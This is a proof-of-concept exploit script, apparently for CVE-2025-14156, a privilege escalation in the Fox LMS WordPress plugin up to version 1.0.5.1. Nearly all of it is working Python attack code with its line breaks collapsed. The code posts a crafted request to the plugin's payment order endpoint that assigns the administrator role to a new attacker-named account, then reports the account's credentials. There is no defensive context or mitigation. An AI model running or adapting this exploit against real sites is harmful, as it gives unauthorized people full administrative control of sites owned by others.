CVE-2025-14156

import requests import json # CVE-2025-14156 PoC - Fox LMS Privilege Escalation # Target: WordPress site with Fox LMS plugin <= 1.0.5.1 target_url = "http://target-wordpress-site.com" api_endpoint = "/wp-json/fox-lms/v1/payments/create-order" # Create malicious request to create admin user payload = { "email": "[email protected]", "username": "attacker_admin", "first_name": "Attacker", "last_name": "User", "role": "administrator", # Privilege escalation - arbitrary role assignment "course_id": 1, "payment_method": "free" } headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0" } try: response = requests.post( f"{target_url}{api_endpoint}", json=payload, headers=headers, timeout=10 ) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") if response.status_code == 200: print("\n[!] Exploitation successful - Admin account created!") print(f"[*] Username: attacker_admin") print(f"[*] Email: [email protected]") print(f"[*] Role: administrator") except requests.exceptions.RequestException as e: print(f"Error: {e}")

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